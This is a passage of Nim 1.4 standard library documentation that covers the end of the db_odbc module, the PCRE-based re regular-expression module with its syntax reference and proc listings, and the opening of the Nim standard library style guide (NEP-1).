be established. Currently the database parameter is ignored, but included to match `open()` in the other db\_xxxxx library modules. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L494) ``` proc setEncoding(connection: DbConn; encoding: string): bool {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Currently not implemented for ODBC. Sets the encoding of a database connection, returns true for success, false for failure. result = set\_character\_set(connection, encoding) == 0 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L525) Iterators --------- ``` iterator fastRows(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Executes the query and iterates over the result dataset. This is very fast, but potentially dangerous. Use this iterator only if you require **ALL** the rows. Breaking the fastRows() iterator during a loop may cause a driver error for subsequent queries Rows are retrieved from the server at each iteration. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L268) ``` iterator instantRows(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): InstantRow {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Same as fastRows but returns a handle that can be used to get column text on demand using []. Returned handle is valid only within the iterator body. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L303) ``` iterator rows(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Same as `fastRows`, but slower and safe. This retrieves ALL rows into memory before iterating through the rows. Large dataset queries will impact on memory usage. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L399) Exports ------- [DbTypeKind](db_common#DbTypeKind), [sql](db_common#sql.t,string), [DbType](db_common#DbType), [SqlQuery](db_common#SqlQuery), [DbColumn](db_common#DbColumn), [ReadDbEffect](db_common#ReadDbEffect), [DbError](db_common#DbError), [WriteDbEffect](db_common#WriteDbEffect), [dbError](db_common#dbError,string), [DbColumns](db_common#DbColumns), [DbEffect](db_common#DbEffect) nim re re == Regular expression support for Nim. This module is implemented by providing a wrapper around the [PCRE (Perl-Compatible Regular Expressions)](http://www.pcre.org) C library. This means that your application will depend on the PCRE library's licence when using this module, which should not be a problem though. PCRE's licence follows: Licence of the PCRE library --------------------------- PCRE is a library of functions to support regular expressions whose syntax and semantics are as close as possible to those of the Perl 5 language. Written by Philip Hazel Copyright (c) 1997-2005 University of Cambridge --- Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of Cambridge nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Regular expression syntax and semantics --------------------------------------- As the regular expressions supported by this module are enormous, the reader is referred to <http://perldoc.perl.org/perlre.html> for the full documentation of Perl's regular expressions. Because the backslash `\` is a meta character both in the Nim programming language and in regular expressions, it is strongly recommended that one uses the *raw* strings of Nim, so that backslashes are interpreted by the regular expression engine: ``` r"\S" # matches any character that is not whitespace ``` A regular expression is a pattern that is matched against a subject string from left to right. Most characters stand for themselves in a pattern, and match the corresponding characters in the subject. As a trivial example, the pattern: ``` The quick brown fox ``` matches a portion of a subject string that is identical to itself. The power of regular expressions comes from the ability to include alternatives and repetitions in the pattern. These are encoded in the pattern by the use of metacharacters, which do not stand for themselves but instead are interpreted in some special way. There are two different sets of metacharacters: those that are recognized anywhere in the pattern except within square brackets, and those that are recognized in square brackets. Outside square brackets, the metacharacters are as follows: | meta character | meaning | | --- | --- | | `\` | general escape character with several uses | | `^` | assert start of string (or line, in multiline mode) | | `$` | assert end of string (or line, in multiline mode) | | `.` | match any character except newline (by default) | | `[` | start character class definition | | `|` | start of alternative branch | | `(` | start subpattern | | `)` | end subpattern | | `{` | start min/max quantifier | | `?` | extends the meaning of `(`also 0 or 1 quantifier (equal to `{0,1}`)also quantifier minimizer | | `*` | 0 or more quantifier (equal to `{0,}`) | | `+` | 1 or more quantifier (equal to `{1,}`)also "possessive quantifier" | Part of a pattern that is in square brackets is called a "character class". In a character class the only metacharacters are: | meta character | meaning | | --- | --- | | `\` | general escape character | | `^` | negate the class, but only if the first character | | `-` | indicates character range | | `[` | POSIX character class (only if followed by POSIX syntax) | | `]` | terminates the character class | The following sections describe the use of each of the metacharacters. ### Backslash The backslash character has several uses. Firstly, if it is followed by a non-alphanumeric character, it takes away any special meaning that character may have. This use of backslash as an escape character applies both inside and outside character classes. For example, if you want to match a `*` character, you write `\*` in the pattern. This escaping action applies whether or not the following character would otherwise be interpreted as a metacharacter, so it is always safe to precede a non-alphanumeric with backslash to specify that it stands for itself. In particular, if you want to match a backslash, you write `\\`. ### Non-printing characters A second use of backslash provides a way of encoding non-printing characters in patterns in a visible manner. There is no restriction on the appearance of non-printing characters, apart from the binary zero that terminates a pattern, but when a pattern is being prepared by text editing, it is usually easier to use one of the following escape sequences than the binary character it represents:: | character | meaning | | --- | --- | | `\a` | alarm, that is, the BEL character (hex 07) | | `\e` | escape (hex 1B) | | `\f` | formfeed (hex 0C) | | `\n` | newline (hex 0A) | | `\r` | carriage return (hex 0D) | | `\t` | tab (hex 09) | | `\ddd` | character with octal code ddd, or backreference | | `\xhh` | character with hex code hh | After `\x`, from zero to two hexadecimal digits are read (letters can be in upper or lower case). In UTF-8 mode, any number of hexadecimal digits may appear between `\x{` and `}`, but the value of the character code must be less than 2\*\*31 (that is, the maximum hexadecimal value is 7FFFFFFF). If characters other than hexadecimal digits appear between `\x{` and `}`, or if there is no terminating `}`, this form of escape is not recognized. Instead, the initial `\x` will be interpreted as a basic hexadecimal escape, with no following digits, giving a character whose value is zero. After `\0` up to two further octal digits are read. In both cases, if there are fewer than two digits, just those that are present are used. Thus the sequence `\0\x\07` specifies two binary zeros followed by a BEL character (code value 7). Make sure you supply two digits after the initial zero if the pattern character that follows is itself an octal digit. The handling of a backslash followed by a digit other than 0 is complicated. Outside a character class, PCRE reads it and any following digits as a decimal number. If the number is less than 10, or if there have been at least that many previous capturing left parentheses in the expression, the entire sequence is taken as a back reference. A description of how this works is given later, following the discussion of parenthesized subpatterns. Inside a character class, or if the decimal number is greater than 9 and there have not been that many capturing subpatterns, PCRE re-reads up to three octal digits following the backslash, and generates a single byte from the least significant 8 bits of the value. Any subsequent digits stand for themselves. For example: | example | meaning | | --- | --- | | `\040` | is another way of writing a space | | `\40` | is the same, provided there are fewer than 40 previous capturing subpatterns | | `\7` | is always a back reference | | `\11` | might be a back reference, or another way of writing a tab | | `\011` | is always a tab | | `\0113` | is a tab followed by the character "3" | | `\113` | might be a back reference, otherwise the character with octal code 113 | | `\377` | might be a back reference, otherwise the byte consisting entirely of 1 bits | | `\81` | is either a back reference, or a binary zero followed by the two characters "8" and "1" | Note that octal values of 100 or greater must not be introduced by a leading zero, because no more than three octal digits are ever read. All the sequences that define a single byte value or a single UTF-8 character (in UTF-8 mode) can be used both inside and outside character classes. In addition, inside a character class, the sequence `\b` is interpreted as the backspace character (hex 08), and the sequence `\X` is interpreted as the character "X". Outside a character class, these sequences have different meanings (see below). ### Generic character types The third use of backslash is for specifying generic character types. The following are always recognized: | character type | meaning | | --- | --- | | `\d` | any decimal digit | | `\D` | any character that is not a decimal digit | | `\s` | any whitespace character | | `\S` | any character that is not a whitespace character | | `\w` | any "word" character | | `\W` | any "non-word" character | Each pair of escape sequences partitions the complete set of characters into two disjoint sets. Any given character matches one, and only one, of each pair. These character type sequences can appear both inside and outside character classes. They each match one character of the appropriate type. If the current matching point is at the end of the subject string, all of them fail, since there is no character to match. For compatibility with Perl, `\s` does not match the VT character (code 11). This makes it different from the the POSIX "space" class. The `\s` characters are HT (9), LF (10), FF (12), CR (13), and space (32). A "word" character is an underscore or any character less than 256 that is a letter or digit. The definition of letters and digits is controlled by PCRE's low-valued character tables, and may vary if locale-specific matching is taking place (see "Locale support" in the pcreapi page). For example, in the "fr\_FR" (French) locale, some character codes greater than 128 are used for accented letters, and these are matched by `\w`. In UTF-8 mode, characters with values greater than 128 never match `\d`, `\s`, or `\w`, and always match `\D`, `\S`, and `\W`. This is true even when Unicode character property support is available. ### Simple assertions The fourth use of backslash is for certain simple assertions. An assertion specifies a condition that has to be met at a particular point in a match, without consuming any characters from the subject string. The use of subpatterns for more complicated assertions is described below. The backslashed assertions are:: | assertion | meaning | | --- | --- | | `\b` | matches at a word boundary | | `\B` | matches when not at a word boundary | | `\A` | matches at start of subject | | `\Z` | matches at end of subject or before newline at end | | `\z` | matches at end of subject | | `\G` | matches at first matching position in subject | These assertions may not appear in character classes (but note that `\b` has a different meaning, namely the backspace character, inside a character class). A word boundary is a position in the subject string where the current character and the previous character do not both match `\w` or `\W` (i.e. one matches `\w` and the other matches `\W`), or the start or end of the string if the first or last character matches `\w`, respectively. The `\A`, `\Z`, and `\z` assertions differ from the traditional circumflex and dollar in that they only ever match at the very start and end of the subject string, whatever options are set. The difference between `\Z` and `\z` is that `\Z` matches before a newline that is the last character of the string as well as at the end of the string, whereas `\z` matches only at the end. **Example:** ``` ## Unless specified otherwise, `start` parameter in each proc indicates ## where the scan starts, but outputs are relative to the start of the input ## string, not to `start`: doAssert find("uxabc", re"(?<=x|y)ab", start = 1) == 2 # lookbehind assertion doAssert find("uxabc", re"ab", start = 3) == -1 # we're past `start` => not found doAssert not match("xabc", re"^abc$", start = 1) # can't match start of string since we're starting at 1 ``` Imports ------- <pcre>, <strutils>, <rtarrays> Types ----- ``` RegexFlag = enum reIgnoreCase = 0, ## do caseless matching reMultiLine = 1, ## ``^`` and ``$`` match newlines within data reDotAll = 2, ## ``.`` matches anything including NL reExtended = 3, ## ignore whitespace and ``#`` comments reStudy = 4 ## study the expression (may be omitted if the ## expression will be used only once) ``` options for regular expressions [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L43) ``` Regex = ref RegexDesc ``` a compiled regular expression [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L55) ``` RegexError = object of ValueError ``` is raised if the pattern is no valid regular expression. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L57) Consts ------ ``` MaxSubpatterns = 20 ``` defines the maximum number of subpatterns that can be captured. This limit still exists for `replacef` and `parallelReplace`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L38) Procs ----- ``` proc re(s: string; flags = {reStudy}): Regex {...}{.raises: [RegexError], tags: [].} ``` Constructor of regular expressions. Note that Nim's extended raw string literals support the syntax `re"[abc]"` as a short form for `re(r"[abc]")`. Also note that since this compiles the regular expression, which is expensive, you should avoid putting it directly in the arguments of the functions like the examples show below if you plan to use it a lot of times, as this will hurt performance immensely. (e.g. outside a loop, ...) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L88) ``` proc rex(s: string; flags = {reStudy, reExtended}): Regex {...}{. raises: [RegexError], tags: [].} ``` Constructor for extended regular expressions. The extended means that comments starting with `#` and whitespace are ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L113) ``` proc findBounds(buf: cstring; pattern: Regex; matches: var openArray[string]; start = 0; bufSize: int): tuple[first, last: int] {...}{.raises: [], tags: [].} ``` returns the starting position and end position of `pattern` in `buf` (where `buf` has length `bufSize` and is not necessarily `'\0'` terminated), and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `(-1,0)` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L144) ``` proc findBounds(s: string; pattern: Regex; matches: var openArray[string]; start = 0): tuple[first, last: int] {...}{.inline, raises: [], tags: [].} ``` returns the starting position and end position of `pattern` in `s` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `(-1,0)` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L164) ``` proc findBounds(buf: cstring; pattern: Regex; matches: var openArray[tuple[first, last: int]]; start = 0; bufSize = 0): tuple[first, last: int] {...}{.raises: [], tags: [].} ``` returns the starting position and end position of `pattern` in `buf` (where `buf` has length `bufSize` and is not necessarily `'\0'` terminated), and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `(-1,0)` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L172) ``` proc findBounds(s: string; pattern: Regex; matches: var openArray[tuple[first, last: int]]; start = 0): tuple[ first, last: int] {...}{.inline, raises: [], tags: [].} ``` returns the starting position and end position of `pattern` in `s` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `(-1,0)` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L193) ``` proc findBounds(buf: cstring; pattern: Regex; start = 0; bufSize: int): tuple[ first, last: int] {...}{.raises: [], tags: [].} ``` returns the `first` and `last` position of `pattern` in `buf`, where `buf` has length `bufSize` (not necessarily `'\0'` terminated). If it does not match, `(-1,0)` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L202) ``` proc findBounds(s: string; pattern: Regex; start = 0): tuple[first, last: int] {...}{. inline, raises: [], tags: [].} ``` returns the `first` and `last` position of `pattern` in `s`. If it does not match, `(-1,0)` is returned. Note: there is a speed improvement if the matches do not need to be captured. **Example:** ``` assert findBounds("01234abc89", re"abc") == (5,7) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L215) ``` proc matchLen(s: string; pattern: Regex; matches: var openArray[string]; start = 0): int {...}{.inline, raises: [], tags: [].} ``` the same as `match`, but it returns the length of the match, if there is no match, `-1` is returned. Note that a match length of zero can happen. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L234) ``` proc matchLen(buf: cstring; pattern: Regex; matches: var openArray[string]; start = 0; bufSize: int): int {...}{.inline, raises: [], tags: [].} ``` the same as `match`, but it returns the length of the match, if there is no match, `-1` is returned. Note that a match length of zero can happen. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L241) ``` proc matchLen(s: string; pattern: Regex; start = 0): int {...}{.inline, raises: [], tags: [].} ``` the same as `match`, but it returns the length of the match, if there is no match, `-1` is returned. Note that a match length of zero can happen. **Example:** ``` doAssert matchLen("abcdefg", re"cde", 2) == 3 doAssert matchLen("abcdefg", re"abcde") == 5 doAssert matchLen("abcdefg", re"cde") == -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L248) ``` proc matchLen(buf: cstring; pattern: Regex; start = 0; bufSize: int): int {...}{. inline, raises: [], tags: [].} ``` the same as `match`, but it returns the length of the match, if there is no match, `-1` is returned. Note that a match length of zero can happen. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L259) ``` proc match(s: string; pattern: Regex; start = 0): bool {...}{.inline, raises: [], tags: [].} ``` returns `true` if `s[start..]` matches the `pattern`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L265) ``` proc match(s: string; pattern: Regex; matches: var openArray[string]; start = 0): bool {...}{. inline, raises: [], tags: [].} ``` returns `true` if `s[start..]` matches the `pattern` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `false` is returned. **Example:** ``` import sequtils var matches: array[2, string] if match("abcdefg", re"c(d)ef(g)", matches, 2): doAssert toSeq(matches) == @["d", "g"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L269) ``` proc match(buf: cstring; pattern: Regex; matches: var openArray[string]; start = 0; bufSize: int): bool {...}{.inline, raises: [], tags: [].} ``` returns `true` if `buf[start..<bufSize]` matches the `pattern` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `false` is returned. `buf` has length `bufSize` (not necessarily `'\0'` terminated). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L283) ``` proc find(buf: cstring; pattern: Regex; matches: var openArray[string]; start = 0; bufSize = 0): int {...}{.raises: [], tags: [].} ``` returns the starting position of `pattern` in `buf` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `-1` is returned. `buf` has length `bufSize` (not necessarily `'\0'` terminated). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L292) ``` proc find(s: string; pattern: Regex; matches: var openArray[string]; start = 0): int {...}{. inline, raises: [], tags: [].} ``` returns the starting position of `pattern` in `s` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `-1` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L311) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L311) ``` proc find(buf: cstring; pattern: Regex; start = 0; bufSize: int): int {...}{. raises: [], tags: [].} ``` returns the starting position of `pattern` in `buf`, where `buf` has length `bufSize` (not necessarily `'\0'` terminated). If it does not match, `-1` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L318) ``` proc find(s: string; pattern: Regex; start = 0): int {...}{.inline, raises: [], tags: [].} ``` returns the starting position of `pattern` in `s`. If it does not match, `-1` is returned. We start the scan at `start`. **Example:** ``` doAssert find("abcdefg", re"cde") == 2 doAssert find("abcdefg", re"abc") == 0 doAssert find("abcdefg", re"zz") == -1 # not found doAssert find("abcdefg", re"cde", start = 2) == 2 # still 2 doAssert find("abcdefg", re"cde", start = 3) == -1 # we're past the start position doAssert find("xabc", re"(?<=x|y)abc", start = 1) == 1 # lookbehind assertion `(?<=x|y)` can look behind `start` ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L330) ``` proc findAll(s: string; pattern: Regex; start = 0): seq[string] {...}{.inline, raises: [], tags: [].} ``` returns all matching `substrings` of `s` that match `pattern`. If it does not match, @[] is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L383) ``` proc contains(s: string; pattern: Regex; start = 0): bool {...}{.inline, raises: [], tags: [].} ``` same as `find(s, pattern, start) >= 0` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L413) ``` proc contains(s: string; pattern: Regex; matches: var openArray[string]; start = 0): bool {...}{.inline, raises: [], tags: [].} ``` same as `find(s, pattern, matches, start) >= 0` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L417) ``` proc startsWith(s: string; prefix: Regex): bool {...}{.inline, raises: [], tags: [].} ``` returns true if `s` starts with the pattern `prefix` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L422) ``` proc endsWith(s: string; suffix: Regex): bool {...}{.inline, raises: [], tags: [].} ``` returns true if `s` ends with the pattern `suffix` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L426) ``` proc replace(s: string; sub: Regex; by = ""): string {...}{.raises: [], tags: [].} ``` Replaces `sub` in `s` by the string `by`. Captures cannot be accessed in `by`. **Example:** ``` doAssert "var1=key; var2=key2".replace(re"(\w+)=(\w+)") == "; " doAssert "var1=key; var2=key2".replace(re"(\w+)=(\w+)", "?") == "?; ?" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L431) ``` proc replacef(s: string; sub: Regex; by: string): string {...}{.raises: [ValueError], tags: [].} ``` Replaces `sub` in `s` by the string `by`. Captures can be accessed in `by` with the notation `$i` and `$#` (see strutils.`%`). **Example:** ``` doAssert "var1=key; var2=key2".replacef(re"(\w+)=(\w+)", "$1<-$2$2") == "var1<-keykey; var2<-key2key2" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L448) ``` proc multiReplace(s: string; subs: openArray[tuple[pattern: Regex, repl: string]]): string {...}{. raises: [ValueError], tags: [].} ``` Returns a modified copy of `s` with the substitutions in `subs` applied in parallel. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L466) ``` proc transformFile(infile, outfile: string; subs: openArray[tuple[pattern: Regex, repl: string]]) {...}{. raises: [IOError, ValueError], tags: [ReadIOEffect, WriteIOEffect].} ``` reads in the file `infile`, performs a parallel replacement (calls `parallelReplace`) and writes back to `outfile`. Raises `IOError` if an error occurs. This is supposed to be used for quick scripting. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L486) ``` proc split(s: string; sep: Regex; maxsplit = -1): seq[string] {...}{.inline, raises: [], tags: [].} ``` Splits the string `s` into a seq of substrings. The portion matched by `sep` is not returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L524) ``` proc escapeRe(s: string): string {...}{.raises: [], tags: [].} ``` escapes `s` so that it is matched verbatim when used as a regular expression. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L531) Iterators --------- ``` iterator findAll(s: string; pattern: Regex; start = 0): string {...}{.raises: [], tags: [].} ``` Yields all matching *substrings* of `s` that match `pattern`. Note that since this is an iterator you should not modify the string you are iterating over: bad things could happen. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L343) ``` iterator findAll(buf: cstring; pattern: Regex; start = 0; bufSize: int): string {...}{. raises: [], tags: [].} ``` Yields all matching `substrings` of `s` that match `pattern`. Note that since this is an iterator you should not modify the string you are iterating over: bad things could happen. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L362) ``` iterator split(s: string; sep: Regex; maxsplit = -1): string {...}{.raises: [], tags: [].} ``` Splits the string `s` into substrings. Substrings are separated by the regular expression `sep` (and the portion matched by `sep` is not returned). **Example:** ``` import sequtils doAssert toSeq(split("00232this02939is39an22example111", re"\d+")) == @["", "this", "is", "an", "example", ""] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L494) Templates --------- ``` template `=~`(s: string; pattern: Regex): untyped ``` This calls `match` with an implicit declared `matches` array that can be used in the scope of the `=~` call: **Example:** ``` proc parse(line: string): string = if line =~ re"\s*(\w+)\s*\=\s*(\w+)": # matches a key=value pair: result = $(matches[0], matches[1]) elif line =~ re"\s*(\#.*)": # matches a comment # note that the implicit ``matches`` array is different from 1st branch result = $(matches[0],) else: doAssert false doAssert not declared(matches) doAssert parse("NAME = LENA") == """("NAME", "LENA")""" doAssert parse(" # comment ... ") == """("# comment ... ",)""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/re.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/re.nim#L392)
programming_docs
nim Nim Enhancement Proposal #1 - Standard Library Style Guide Nim Enhancement Proposal #1 - Standard Library Style Guide ========================================================== Introduction ------------ Although Nim supports a variety of code and formatting styles, it is nevertheless beneficial that certain community efforts, such as the standard library, should follow a consistent set of style guidelines when suitable. This enhancement proposal aims to list a series of guidelines that the standard library should follow. Note that there can be exceptions to these rules. Nim being as flexible as it is, there will be parts of this style guide that don't make sense in certain contexts. Furthermore, just as [Python's style guide](http://legacy.python.org/dev/peps/pep-0008/) changes over time, this style guide will too. These rules will only be enforced for contributions to the Nim codebase and official projects, such as the Nim compiler, the standard library, and the various official tools such as C2Nim. ### Spacing and Whitespace Conventions * Lines should be no longer than 80 characters. Limiting the amount of information present on each line makes for more readable code - the reader has smaller chunks to process. * Two spaces should be used for indentation of blocks; tabstops are not allowed (the compiler enforces this). Using spaces means that the appearance of code is more consistent across editors. Unlike spaces, tabstop width varies across editors, and not all editors provide means of changing this width. * Although use of whitespace for stylistic reasons other than the ones endorsed by this guide are allowed, careful thought should be put into such practices. Not all editors support automatic alignment of code sections, and re-aligning long sections of code by hand can quickly become tedious. ``` # This is bad, as the next time someone comes # to edit this code block, they # must re-align all the assignments again: type WordBool* = int16 CalType* = int ... # 5 lines later CalId* = int LongLong* = int64 LongLongPtr* = ptr LongLong ``` ### Naming Conventions Note: While the rules outlined below are the *current* naming conventions, these conventions have not always been in place. Previously, the naming conventions for identifiers followed the Pascal tradition of prefixes which indicated the base type of the identifier - PFoo for pointer and reference types, TFoo for value types, EFoo for exceptions, etc. Though this has since changed, there are many places in the standard library which still use this convention. Such style remains in place purely for legacy reasons, and will be changed in the future. * Type identifiers should be in PascalCase. All other identifiers should be in camelCase with the exception of constants which **may** use PascalCase but are not required to. ``` # Constants can start with either a lower case or upper case letter. const aConstant = 42 const FooBar = 4.2 var aVariable = "Meep" # Variables must start with a lowercase letter. # Types must start with an uppercase letter. type FooBar = object ``` For constants coming from a C/C++ wrapper, ALL\_UPPERCASE are allowed, but ugly. (Why shout CONSTANT? Constants do no harm, variables do!) * When naming types that come in value, pointer, and reference varieties, use a regular name for the variety that is to be used the most, and add a "Obj", "Ref", or "Ptr" suffix for the other varieties. If there is no single variety that will be used the most, add the suffixes to the pointer variants only. The same applies to C/C++ wrappers. ``` type Handle = object # Will be used most often fd: int64 HandleRef = ref Handle # Will be used less often ``` * Exception and Error types should have the "Error" or "Defect" suffix. ``` type ValueError = object of CatchableError AssertionDefect = object of Defect Foo = object of Exception # bad style, try to inherit CatchableError or Defect ``` * Unless marked with the `{.pure.}` pragma, members of enums should have an identifying prefix, such as an abbreviation of the enum's name. ``` type PathComponent = enum pcDir pcLinkToDir pcFile pcLinkToFile ``` * Non-pure enum values 